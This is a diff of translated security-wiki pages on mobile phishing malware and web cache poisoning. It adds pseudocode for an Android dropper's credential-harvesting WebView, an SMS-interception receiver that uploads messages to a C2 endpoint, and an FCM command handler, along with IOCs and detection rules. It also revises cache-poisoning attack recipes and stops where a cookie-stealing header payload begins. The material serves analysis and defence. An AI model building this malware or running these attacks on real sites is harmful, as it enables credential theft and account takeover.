diff --git a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
index 65b3bf936..c4098d451 100644
--- a/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
+++ b/src/generic-methodologies-and-resources/phishing-methodology/mobile-phishing-malicious-apps.md
@@ -3,21 +3,21 @@
{{#include ../../banners/hacktricks-training.md}}
> [!INFO]
-> Ця сторінка охоплює техніки, які використовують загрози для розповсюдження **шкідливих Android APK** та **профілів мобільної конфігурації iOS** через фішинг (SEO, соціальна інженерія, фейкові магазини, додатки для знайомств тощо).
+> Ця сторінка охоплює техніки, які використовують зловмисники для розповсюдження **шкідливих Android APK** та **профілів мобільної конфігурації iOS** через фішинг (SEO, соціальна інженерія, фейкові магазини, додатки для знайомств тощо).
> Матеріал адаптовано з кампанії SarangTrap, викритої Zimperium zLabs (2025) та інших публічних досліджень.
## Потік Атаки
1. **Інфраструктура SEO/Фішингу**
-* Зареєструвати десятки доменів, що схожі (знайомства, хмарний обмін, автомобільні послуги…).
+* Зареєструвати десятки доменів, що схожі (знайомства, хмарне зберігання, автомобільні послуги…).
– Використовувати ключові слова та емодзі місцевою мовою в елементі `
`, щоб піднятися в Google.
– Розмістити *обидва* інструкції з установки Android (`.apk`) та iOS на одній цільовій сторінці.
2. **Перший Етап Завантаження**
-* Android: пряме посилання на *недодаткований* або “сторону третьої особи” APK.
+* Android: пряме посилання на *недодаткований* або “додаток з третьої сторони” APK.
* iOS: `itms-services://` або просте HTTPS посилання на шкідливий **mobileconfig** профіль (див. нижче).
3. **Соціальна Інженерія Після Встановлення**
* При першому запуску додаток запитує **код запрошення / перевірки** (ілюзія ексклюзивного доступу).
-* Код **POSTиться через HTTP** на Командний та Контрольний (C2).
+* Код **POSTиться через HTTP** на Командний та Контрольний (C2) сервер.
* C2 відповідає `{"success":true}` ➜ шкідливе ПЗ продовжує працювати.
* Динамічний аналіз пісочниці / AV, який ніколи не подає дійсний код, не бачить **шкідливої поведінки** (евазія).
4. **Зловживання Дозволами Часу Виконання** (Android)
@@ -29,7 +29,7 @@
```
* Останні варіанти **видаляють `` для SMS з `AndroidManifest.xml`**, але залишають шлях коду Java/Kotlin, який читає SMS через рефлексію ⇒ знижує статичний бал, але все ще функціонує на пристроях, які надають дозвіл через зловживання `AppOps` або старі цілі.
-5. **Фасадний UI та Збір Даних у Фоновому Режимі**
+5. **Фасадний Інтерфейс та Збір Даних у Фоновому Режимі**
* Додаток показує безпечні екрани (переглядач SMS, вибір галереї), реалізовані локально.
* Тим часом він ексфільтрує:
- IMEI / IMSI, номер телефону
@@ -50,14 +50,14 @@ Payloads **пакуються в архів** і надсилаються чер
## Тестування Захисту / Поради Червоній Команді
* **Обхід Динамічного Аналізу** – Під час оцінки шкідливого ПЗ автоматизуйте фазу коду запрошення за допомогою Frida/Objection, щоб досягти шкідливої гілки.
-* **Порівняння Маніфесту та Часу Виконання** – Порівняйте `aapt dump permissions` з `PackageManager#getRequestedPermissions()` під час виконання; відсутність небезпечних дозволів є червоним прапором.
-* **Мережева Канарка** – Налаштуйте `iptables -p tcp --dport 80 -j NFQUEUE`, щоб виявити непостійні сплески POST після введення коду.
+* **Порівняння Маніфесту та Часу Виконання** – Порівняйте `aapt dump permissions` з часом виконання `PackageManager#getRequestedPermissions()`; відсутність небезпечних дозволів є червоним прапором.
+* **Мережева Канарка** – Налаштуйте `iptables -p tcp --dport 80 -j NFQUEUE`, щоб виявити непостійні POST-сплески після введення коду.
* **Перевірка mobileconfig** – Використовуйте `security cms -D -i profile.mobileconfig` на macOS, щоб перерахувати `PayloadContent` і виявити надмірні права.
## Ідеї для Виявлення Блакитної Команди
* **Прозорість Сертифікатів / DNS Аналітика** для виявлення раптових сплесків доменів з багатими ключовими словами.
-* **User-Agent та Regex Шляхів**: `(?i)POST\s+/(check|upload)\.php` з клієнтів Dalvik поза Google Play.
+* **User-Agent та Path Regex**: `(?i)POST\s+/(check|upload)\.php` з клієнтів Dalvik поза Google Play.
* **Телеметрія Кодів Запрошення** – POST 6–8-значних числових кодів незабаром після установки APK може вказувати на стадіювання.
* **Підписування MobileConfig** – Блокувати недодатковані профілі конфігурації через політику MDM.
@@ -86,9 +86,127 @@ return conn;
/upload.php # batched ZIP exfiltration
LubanCompress 1.1.8 # "Luban" string inside classes.dex
```
-## Посилання
+---
-- [Темна сторона романтики: кампанія вимагання SarangTrap](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
-- [Luban – бібліотека стиснення зображень для Android](https://github.com/Curzibn/Luban)
+## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
+
+Цей шаблон спостерігався в кампаніях, які зловживають темами державних пільг для крадіжки індійських UPI облікових даних та OTP. Оператори поєднують авторитетні платформи для доставки та стійкості.
+
+### Ланцюг доставки через надійні платформи
+- Відео на YouTube → опис містить коротке посилання
+- Коротке посилання → сайт фішингу на GitHub Pages, що імітує легітимний портал
+- Той же репозиторій GitHub містить APK з підробленою позначкою “Google Play”, що безпосередньо посилається на файл
+- Динамічні фішингові сторінки працюють на Replit; віддалений командний канал використовує Firebase Cloud Messaging (FCM)
+
+### Dropper з вбудованим payload та офлайн установкою
+- Перший APK є інсталятором (dropper), який постачає справжнє шкідливе ПЗ за адресою `assets/app.apk` і запитує користувача вимкнути Wi‑Fi/мобільні дані, щоб зменшити виявлення в хмарі.
+- Вбудований payload встановлюється під невинною назвою (наприклад, “Secure Update”). Після установки як інсталятор, так і payload присутні як окремі додатки.
+
+Static triage tip (grep for embedded payloads):
+```bash
+unzip -l sample.apk | grep -i "assets/app.apk"
+# Or:
+zipgrep -i "classes|.apk" sample.apk | head
+```
+### Динамічне виявлення кінцевих точок через коротке посилання
+- Шкідливе ПЗ отримує список активних кінцевих точок у простому текстовому форматі, розділеному комами, з короткого посилання; прості перетворення рядків створюють фінальний шлях фішингової сторінки.
+
+Приклад (санітизований):
+```
+GET https://rebrand.ly/dclinkto2
+Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
+Transform: "gate.html" → "gate.htm" (loaded in WebView)
+UPI credential POST: https://sqcepo.replit.app/addup.php
+SMS upload: https://sqcepo.replit.app/addsm.php
+```
+Псевдокод:
+```java
+String csv = httpGet(shortlink);
+String[] parts = csv.split(",");
+String upiPage = parts[0].replace("gate.html", "gate.htm");
+String smsPost = parts[1];
+String credsPost = upiPage.replace("gate.htm", "addup.php");
+```
+### WebView-based UPI credential harvesting
+- Крок “Зробити платіж ₹1 / UPI‑Lite” завантажує HTML-форму зловмисника з динамічного кінцевого пункту всередині WebView і захоплює чутливі поля (телефон, банк, UPI PIN), які `POST`яться на `addup.php`.
+
+Minimal loader:
+```java
+WebView wv = findViewById(R.id.web);
+wv.getSettings().setJavaScriptEnabled(true);
+wv.loadUrl(upiPage); // ex: https:///gate.htm
+```
+### Саморозповсюдження та перехоплення SMS/OTP
+- Запитуються агресивні дозволи при першому запуску:
+```xml
+
+
+
+
+```
+- Контакти використовуються для масової відправки смс-фішингу з пристрою жертви.
+- Вхідні смс перехоплюються приймачем трансляції та завантажуються з метаданими (відправник, текст, SIM-слот, випадковий ID для кожного пристрою) на `/addsm.php`.
+
+Схема приймача:
+```java
+public void onReceive(Context c, Intent i){
+SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
+for (SmsMessage m: msgs){
+postForm(urlAddSms, new FormBody.Builder()
+.add("senderNum", m.getOriginatingAddress())
+.add("Message", m.getMessageBody())
+.add("Slot", String.valueOf(getSimSlot(i)))
+.add("Device rand", getOrMakeDeviceRand(c))
+.build());
+}
+}
+```
+### Firebase Cloud Messaging (FCM) як стійкий C2
+- Payload реєструється в FCM; push-повідомлення містять поле `_type`, яке використовується як перемикач для активації дій (наприклад, оновлення шаблонів тексту фішингу, перемикання поведінки).
+
+Приклад payload FCM:
+```json
+{
+"to": "",
+"data": {
+"_type": "update_texts",
+"template": "New subsidy message..."
+}
+}
+```
+Ескіз обробника:
+```java
+@Override
+public void onMessageReceived(RemoteMessage msg){
+String t = msg.getData().get("_type");
+switch (t){
+case "update_texts": applyTemplate(msg.getData().get("template")); break;
+case "smish": sendSmishToContacts(); break;
+// ... more remote actions
+}
+}
+```
+### Hunting patterns and IOCs
+- APK містить вторинний вантаж у `assets/app.apk`
+- WebView завантажує платіж з `gate.htm` і ексфільтрує до `/addup.php`
+- Ексфільтрація SMS до `/addsm.php`
+- Конфігурація, що отримується через короткі посилання (наприклад, `rebrand.ly/*`), що повертає CSV кінцеві точки
+- Додатки, позначені як загальні “Оновлення/Безпечне оновлення”
+- FCM `data` повідомлення з `_type` дискримінатором в ненадійних додатках
+
+### Detection & defence ideas
+- Позначати додатки, які інструктують користувачів вимкнути мережу під час установки, а потім завантажити другий APK з `assets/`.
+- Сповіщати про кортеж дозволів: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + платіжні потоки на основі WebView.
+- Моніторинг виходу для `POST /addup.php|/addsm.php` на не корпоративних хостах; блокувати відомі інфраструктури.
+- Правила мобільного EDR: ненадійний додаток, що реєструється для FCM і розгалужується на основі поля `_type`.
+
+---
+
+## References
+
+- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
+- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
+- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
+- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 6ec154503..003b0af2d 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -17,7 +17,7 @@
1. **Ідентифікація незахищених вхідних даних**: Це параметри, які, хоча й не є обов'язковими для кешування запиту, можуть змінити відповідь, що повертається сервером. Ідентифікація цих вхідних даних є критично важливою, оскільки їх можна використовувати для маніпуляції кешем.
2. **Експлуатація незахищених вхідних даних**: Після ідентифікації незахищених вхідних даних наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника.
-3. **Забезпечення кешування отруєної відповіді**: Останній крок полягає в тому, щоб переконатися, що маніпульована відповідь зберігається в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час отруєння кешу, отримає забруднену відповідь.
+3. **Забезпечення кешування отруєної відповіді**: Останній крок полягає в тому, щоб забезпечити зберігання маніпульованої відповіді в кеші. Таким чином, будь-який користувач, який отримує доступ до ураженої сторінки під час отруєння кешу, отримає забруднену відповідь.
### Discovery: Check HTTP headers
@@ -25,7 +25,7 @@
### Discovery: Caching error codes
-Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати **надіслати запити з неправильним заголовком**, на які має бути відповідь з **кодом статусу 400**. Потім спробуйте отримати доступ до запиту нормально, і якщо **відповідь має статус код 400**, ви знаєте, що це вразливо (і ви навіть можете виконати DoS).
+Якщо ви думаєте, що відповідь зберігається в кеші, ви можете спробувати **надіслати запити з неправильним заголовком**, на які має бути відповідь з **кодом статусу 400**. Потім спробуйте отримати доступ до запиту нормально, і якщо **відповідь має код статусу 400**, ви знаєте, що це вразливо (і ви навіть можете виконати DoS).
Ви можете знайти більше варіантів у:
@@ -43,18 +43,18 @@ cache-poisoning-to-dos.md
```
### Викликати шкідливу відповідь від серверу
-З параметром/заголовком, що був ідентифікований, перевірте, як він **санітується** і **де** він **відображається** або впливає на відповідь з заголовка. Чи можете ви його зловживати (виконати XSS або завантажити JS-код, контрольований вами? виконати DoS?...)
+З ідентифікованим параметром/заголовком перевірте, як він **санітується** і **де** він **відображається** або впливає на відповідь з заголовка. Чи можете ви зловживати цим (виконати XSS або завантажити JS-код, контрольований вами? виконати DoS?...)
### Отримати відповідь в кеші
-Якщо ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** його **зловживати**, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд.
+Після того, як ви **ідентифікували** **сторінку**, яку можна зловживати, який **параметр**/**заголовок** використовувати і **як** його **зловживати**, вам потрібно отримати сторінку в кеш. Залежно від ресурсу, який ви намагаєтеся отримати в кеш, це може зайняти деякий час, вам, можливо, доведеться намагатися протягом кількох секунд.
Заголовок **`X-Cache`** у відповіді може бути дуже корисним, оскільки він може мати значення **`miss`**, коли запит не кешується, і значення **`hit`**, коли він кешується.\
Заголовок **`Cache-Control`** також цікавий, щоб дізнатися, чи ресурс кешується і коли наступного разу ресурс буде кешуватися знову: `Cache-Control: public, max-age=1800`
-Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключовими. Тому, якщо користувач знає `User-Agent` жертви, на яку він націлений, він може отруїти кеш для користувачів, які використовують цей конкретний `User-Agent`.
+Ще один цікавий заголовок - **`Vary`**. Цей заголовок часто використовується для **вказівки додаткових заголовків**, які розглядаються як **частина ключа кешу**, навіть якщо вони зазвичай не є ключовими. Тому, якщо користувач знає `User-Agent` жертви, яку він намагається націлити, він може отруїти кеш для користувачів, які використовують цей конкретний `User-Agent`.
-Ще один заголовок, пов'язаний з кешем, - **`Age`**. Він визначає час у секундах, протягом якого об'єкт перебуває в проксі-кеші.
+Ще один заголовок, пов'язаний з кешем, - це **`Age`**. Він визначає час у секундах, протягом якого об'єкт перебував у проксі-кеші.
При кешуванні запиту будьте **обережні з заголовками, які ви використовуєте**, оскільки деякі з них можуть бути **використані несподівано** як **ключові**, і **жертва повинна буде використовувати той самий заголовок**. Завжди **тестуйте** отруєння кешу з **різними браузерами**, щоб перевірити, чи це працює.
@@ -83,7 +83,7 @@ cache-poisoning-to-dos.md
- CDN буде кешувати все під `/share/`
- CDN НЕ декодує і не нормалізує `%2F..%2F`, отже, його можна використовувати як **перехід по шляху для доступу до інших чутливих місць, які будуть кешовані**, таких як `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`
-- Веб-сервер БУДЕ декодувати і нормалізувати `%2F..%2F`, і відповість з `/api/auth/session`, який **містить токен авторизації**.
+- Веб-сервер БУДЕ декодувати і нормалізувати `%2F..%2F`, і відповість з `/api/auth/session`, який **містить токен автентифікації**.
### Використання отруєння веб-кешу для експлуатації вразливостей обробки куків
@@ -105,9 +105,9 @@ cache-poisoning-via-url-discrepancies.md
### Отруєння кешу з використанням обходу шляху для викрадення API ключа
-[**Цей звіт пояснює**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) як було можливим викрасти API ключ OpenAI за допомогою URL на кшталт `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, оскільки все, що відповідає `/share/*`, буде кешуватися без нормалізації URL Cloudflare, що відбувалося, коли запит досягав веб-сервера.
+[**Цей звіт пояснює**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html), як було можливим викрасти API ключ OpenAI за допомогою URL на кшталт `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123`, оскільки все, що відповідає `/share/*`, буде кешуватися без нормалізації URL Cloudflare, що було зроблено, коли запит досяг веб-сервера.
-Це також краще пояснено в:
+Це також краще пояснюється в:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
@@ -115,7 +115,7 @@ cache-poisoning-via-url-discrepancies.md
### Використання кількох заголовків для експлуатації вразливостей отруєння кешу
-Іноді вам потрібно буде **експлуатувати кілька неключових вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, контрольований вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.
+Іноді вам потрібно буде **експлуатувати кілька незахищених вхідних даних**, щоб мати можливість зловживати кешем. Наприклад, ви можете знайти **Відкритий редирект**, якщо ви встановите `X-Forwarded-Host` на домен, що контролюється вами, а `X-Forwarded-Scheme` на `http`. **Якщо** **сервер** **пересилає** всі **HTTP** запити **на HTTPS** і використовує заголовок `X-Forwarded-Scheme` як ім'я домену для редиректу. Ви можете контролювати, куди вказується сторінка за допомогою редиректу.
```html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
@@ -156,13 +156,13 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
### Автоматизоване тестування для Web Cache Poisoning
-[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на наявність web cache poisoning. Він підтримує багато різних технік і є високонастроюваним.
+[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) може бути використаний для автоматичного тестування на наявність отруєння веб-кешу. Він підтримує багато різних технік і є високонастроюваним.
Приклад використання: `wcvs -u example.com`
-### Header-reflection XSS + CDN/WAF-допоміжне заповнення кешу (User-Agent, авто-кешовані .js)
+### Header-reflection XSS + CDN/WAF-допоміжне насіння кешу (User-Agent, авто-кешовані .js)
-Цей реальний шаблон поєднує примітив відображення на основі заголовка з поведінкою CDN/WAF для надійного отруєння кешованого HTML, що надається іншим користувачам:
+Цей реальний шаблон поєднує примітив відображення на основі заголовка з поведінкою CDN/WAF, щоб надійно отруїти кешований HTML, що надається іншим користувачам:
- Основний HTML відображав ненадійний заголовок запиту (наприклад, `User-Agent`) в виконуваному контексті.
- CDN видалив заголовки кешу, але існував внутрішній/оригінальний кеш. CDN також авто-кешував запити, що закінчуються статичними розширеннями (наприклад, `.js`), в той час як WAF застосовував слабшу перевірку вмісту до GET-запитів для статичних активів.
@@ -170,11 +170,11 @@ Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/explo
Практичний рецепт (спостережено на популярному CDN/WAF):
-1) З чистої IP-адреси (уникати попередніх знижених репутацій), встановіть шкідливий `User-Agent` через браузер або Burp Proxy Match & Replace.
+1) З чистого IP (уникати попередніх знижених репутацій), встановіть шкідливий `User-Agent` через браузер або Burp Proxy Match & Replace.
2) У Burp Repeater підготуйте групу з двох запитів і використовуйте "Відправити групу паралельно" (однопакетний режим працює найкраще):
- Перший запит: GET ресурсного шляху `.js` на тому ж походженні, відправляючи ваш шкідливий `User-Agent`.
-- Негайно після цього: GET основної сторінки (`/`).
-3) Перегони маршрутизації CDN/WAF плюс авто-кешований `.js` часто заповнюють отруєний кешований HTML-варіант, який потім надається іншим відвідувачам, що ділять ті ж умови ключа кешу (наприклад, ті ж виміри `Vary`, такі як `User-Agent`).
+- Негайно після: GET основної сторінки (`/`).
+3) Перегони маршрутизації CDN/WAF плюс авто-кешований `.js` часто насіння отруєного кешованого HTML-варіанту, який потім надається іншим відвідувачам, що ділять ті ж умови ключа кешу (наприклад, ті ж виміри `Vary`, такі як `User-Agent`).
Приклад заголовка навантаження (для ексфільтрації не-HttpOnly куків):
```
@@ -182,13 +182,13 @@ User-Agent: Mo00ozilla/5.0